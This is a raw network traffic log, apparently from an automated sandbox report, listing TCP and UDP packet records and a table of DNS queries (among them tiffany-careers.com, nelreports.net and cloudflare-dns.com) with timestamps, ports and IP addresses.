                                                                                                                                                                          Dec 23, 2024 08:40:15.624125004 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.624751091 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.624799013 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.624839067 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.625484943 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.625543118 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.625569105 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.626190901 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.626236916 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.626296997 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.626934052 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.626981020 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.627017975 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.627825022 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.627865076 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.627888918 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.628391027 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.628493071 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.628495932 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.629127026 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.629164934 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.629266977 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.629822969 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.629870892 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.752055883 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.752180099 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.752242088 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.752403021 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.752511024 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.752567053 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.753123999 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.753211975 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.753252029 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.753842115 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.753952026 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.753998995 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.754549026 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.754681110 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.754725933 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.755327940 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.755429029 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.755475044 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.756031036 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.756135941 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.756184101 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.756750107 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.756856918 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.757055044 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.757489920 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.757550001 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.757600069 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.758229971 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.758317947 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.758361101 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.774857044 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.774876118 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.774974108 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.775019884 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.775137901 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.775191069 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.775743008 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.775866032 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.775912046 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.776464939 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.776555061 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.776616096 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.793479919 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.793569088 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.793719053 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.793801069 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.793905020 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.793945074 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.794559956 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.794626951 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.794676065 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:16.062278986 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:24.129179955 CET44349790172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.129262924 CET44349790172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.129313946 CET49790443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:24.129519939 CET44349793172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.129606009 CET44349793172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.129647970 CET49793443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:24.130660057 CET44349792172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.130712986 CET44349792172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.130920887 CET49792443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:24.135251045 CET44349791172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.135327101 CET44349791172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.135440111 CET49791443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:24.137048960 CET44349789172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.137135983 CET44349789172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.137188911 CET49789443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:24.443761110 CET44349797172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.443851948 CET44349797172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.443968058 CET49797443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:24.444272041 CET44349799172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.444327116 CET44349798172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.444363117 CET44349799172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.444413900 CET49799443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:24.444431067 CET44349798172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.444566011 CET44349796172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.444631100 CET49798443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:24.444725037 CET44349796172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:24.444844007 CET49796443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:37.271658897 CET4970580192.168.2.92.22.50.144
                                                                                                                                                                          Dec 23, 2024 08:40:37.391814947 CET80497052.22.50.144192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:37.392182112 CET4970580192.168.2.92.22.50.144
                                                                                                                                                                          Dec 23, 2024 08:41:00.728019953 CET49791443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:00.728066921 CET44349791172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:00.728075981 CET49793443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:00.728084087 CET49789443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:00.728091002 CET44349789172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:00.728095055 CET44349793172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.253937006 CET49790443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.253968000 CET44349790172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.253982067 CET49798443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.253989935 CET44349798172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.254087925 CET49797443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.254116058 CET44349797172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.254132032 CET49799443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.254139900 CET44349799172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.254157066 CET49796443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.254163027 CET44349796172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.832379103 CET49946443192.168.2.9104.126.116.105
                                                                                                                                                                          Dec 23, 2024 08:41:06.832415104 CET44349946104.126.116.105192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.832468987 CET49946443192.168.2.9104.126.116.105
                                                                                                                                                                          Dec 23, 2024 08:41:06.859606028 CET49946443192.168.2.9104.126.116.105
                                                                                                                                                                          Dec 23, 2024 08:41:06.859636068 CET44349946104.126.116.105192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:08.068721056 CET44349946104.126.116.105192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:08.087687016 CET49946443192.168.2.9104.126.116.105
                                                                                                                                                                          Dec 23, 2024 08:41:08.087718010 CET44349946104.126.116.105192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:08.088831902 CET44349946104.126.116.105192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:08.088888884 CET49946443192.168.2.9104.126.116.105
                                                                                                                                                                          Dec 23, 2024 08:41:08.097007036 CET49946443192.168.2.9104.126.116.105
                                                                                                                                                                          Dec 23, 2024 08:41:08.097079992 CET44349946104.126.116.105192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:08.176711082 CET49946443192.168.2.9104.126.116.105
                                                                                                                                                                          Dec 23, 2024 08:41:08.176747084 CET44349946104.126.116.105192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:08.286267042 CET49946443192.168.2.9104.126.116.105
                                                                                                                                                                          Dec 23, 2024 08:41:09.287218094 CET49792443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:09.287245989 CET44349792172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:27.382078886 CET44349946104.126.116.105192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:27.382152081 CET44349946104.126.116.105192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:27.382201910 CET49946443192.168.2.9104.126.116.105
                                                                                                                                                                          Dec 23, 2024 08:41:54.302314997 CET49792443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:54.302352905 CET44349792172.64.41.3192.168.2.9
                                                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                          Dec 23, 2024 08:39:50.823118925 CET4954153192.168.2.91.1.1.1
                                                                                                                                                                          Dec 23, 2024 08:39:50.960336924 CET53495411.1.1.1192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:03.790297031 CET5096853192.168.2.91.1.1.1
                                                                                                                                                                          Dec 23, 2024 08:40:03.790431023 CET6102453192.168.2.91.1.1.1
                                                                                                                                                                          Dec 23, 2024 08:40:06.132328987 CET5242153192.168.2.91.1.1.1
                                                                                                                                                                          Dec 23, 2024 08:40:06.132880926 CET5682953192.168.2.91.1.1.1
                                                                                                                                                                          Dec 23, 2024 08:40:06.269536972 CET5343753192.168.2.91.1.1.1
                                                                                                                                                                          Dec 23, 2024 08:40:06.269700050 CET53524211.1.1.1192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:06.270452976 CET53568291.1.1.1192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:06.272583008 CET5378153192.168.2.91.1.1.1
                                                                                                                                                                          Dec 23, 2024 08:40:06.272943020 CET6079353192.168.2.91.1.1.1
                                                                                                                                                                          Dec 23, 2024 08:40:06.273351908 CET5664853192.168.2.91.1.1.1
                                                                                                                                                                          Dec 23, 2024 08:40:06.310759068 CET4999953192.168.2.91.1.1.1
                                                                                                                                                                          Dec 23, 2024 08:40:06.310908079 CET5050553192.168.2.91.1.1.1
                                                                                                                                                                          Dec 23, 2024 08:40:06.407108068 CET53534371.1.1.1192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:06.409781933 CET53537811.1.1.1192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:06.410234928 CET53566481.1.1.1192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:06.410264015 CET53607931.1.1.1192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:06.447922945 CET53499991.1.1.1192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:06.448329926 CET53505051.1.1.1192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.109677076 CET55113443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.113854885 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.411741018 CET55113443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.428035021 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.025830984 CET55113443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.044074059 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.194679976 CET44355113172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.194839001 CET44355113172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.194854021 CET44355113172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.194960117 CET44355113172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.198204994 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.198262930 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.198272943 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.198395014 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.199836969 CET55113443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.201715946 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.202241898 CET55113443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.203068972 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.210508108 CET55113443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.210943937 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.340092897 CET44355113172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.357597113 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.516313076 CET44355113172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.516383886 CET44355113172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.516390085 CET44355113172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.516402960 CET44355113172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.516411066 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.516545057 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.516551018 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.516563892 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.517326117 CET55113443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.517399073 CET55113443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.517570972 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.517651081 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.525527954 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.525906086 CET44355113172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.830964088 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.831206083 CET44355113172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.864152908 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.864273071 CET55113443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:11.051094055 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:11.051224947 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:11.365695000 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.370206118 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.380979061 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:11.425344944 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:12.329696894 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:12.329802990 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:12.644100904 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.656862020 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.692712069 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:12.729089022 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:12.729178905 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:12.745500088 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.786092997 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:13.042515039 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.078751087 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:14.829121113 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:14.829946041 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:14.830877066 CET55113443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:14.831543922 CET55113443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:15.143773079 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.144536972 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.144993067 CET44361297172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.146269083 CET44355113172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.146740913 CET61297443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:15.147372961 CET44355113172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.147633076 CET44355113172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.148236036 CET55113443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:19.294516087 CET5772053192.168.2.91.1.1.1
                                                                                                                                                                          Dec 23, 2024 08:40:19.432116985 CET53577201.1.1.1192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:36.289005995 CET6282553192.168.2.91.1.1.1
                                                                                                                                                                          Dec 23, 2024 08:40:36.426666975 CET53628251.1.1.1192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:36.991337061 CET138138192.168.2.9192.168.2.255
                                                                                                                                                                          Dec 23, 2024 08:41:05.100656986 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:05.100799084 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:05.101016998 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:05.101109982 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.115715027 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.115787983 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.116353035 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.116396904 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.185699940 CET44355056172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.190603018 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.190949917 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.218571901 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.254846096 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.254934072 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.429737091 CET44355056172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.429774046 CET44355056172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.429790020 CET44355056172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.429821968 CET44355056172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.429889917 CET44355056172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.429903984 CET44355056172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.430164099 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.430264950 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.430311918 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.442720890 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.792335033 CET44355056172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.794966936 CET44355056172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.794986010 CET44355056172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.795002937 CET44355056172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.800877094 CET44355056172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.800903082 CET44355056172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:41:06.820183039 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:06.825108051 CET55056443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:41:15.569257975 CET5952253192.168.2.91.1.1.1
                                                                                                                                                                          Dec 23, 2024 08:41:15.706697941 CET53595221.1.1.1192.168.2.9
                                                                                                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                          Dec 23, 2024 08:39:50.823118925 CET192.168.2.91.1.1.10x9a4dStandard query (0)tiffany-careers.comA (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:03.790297031 CET192.168.2.91.1.1.10x4871Standard query (0)bzib.nelreports.netA (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:03.790431023 CET192.168.2.91.1.1.10xc54aStandard query (0)bzib.nelreports.net65IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.132328987 CET192.168.2.91.1.1.10x4b93Standard query (0)clients2.googleusercontent.comA (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.132880926 CET192.168.2.91.1.1.10x8584Standard query (0)clients2.googleusercontent.com65IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.269536972 CET192.168.2.91.1.1.10xa4eStandard query (0)chrome.cloudflare-dns.comA (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.272583008 CET192.168.2.91.1.1.10x3928Standard query (0)chrome.cloudflare-dns.com65IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.272943020 CET192.168.2.91.1.1.10xd7c2Standard query (0)chrome.cloudflare-dns.comA (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.273351908 CET192.168.2.91.1.1.10x140fStandard query (0)chrome.cloudflare-dns.com65IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.310759068 CET192.168.2.91.1.1.10x8690Standard query (0)chrome.cloudflare-dns.comA (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.310908079 CET192.168.2.91.1.1.10xb8faStandard query (0)chrome.cloudflare-dns.com65IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:19.294516087 CET192.168.2.91.1.1.10xa3cbStandard query (0)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsA (IP address)IN (0x0001)false
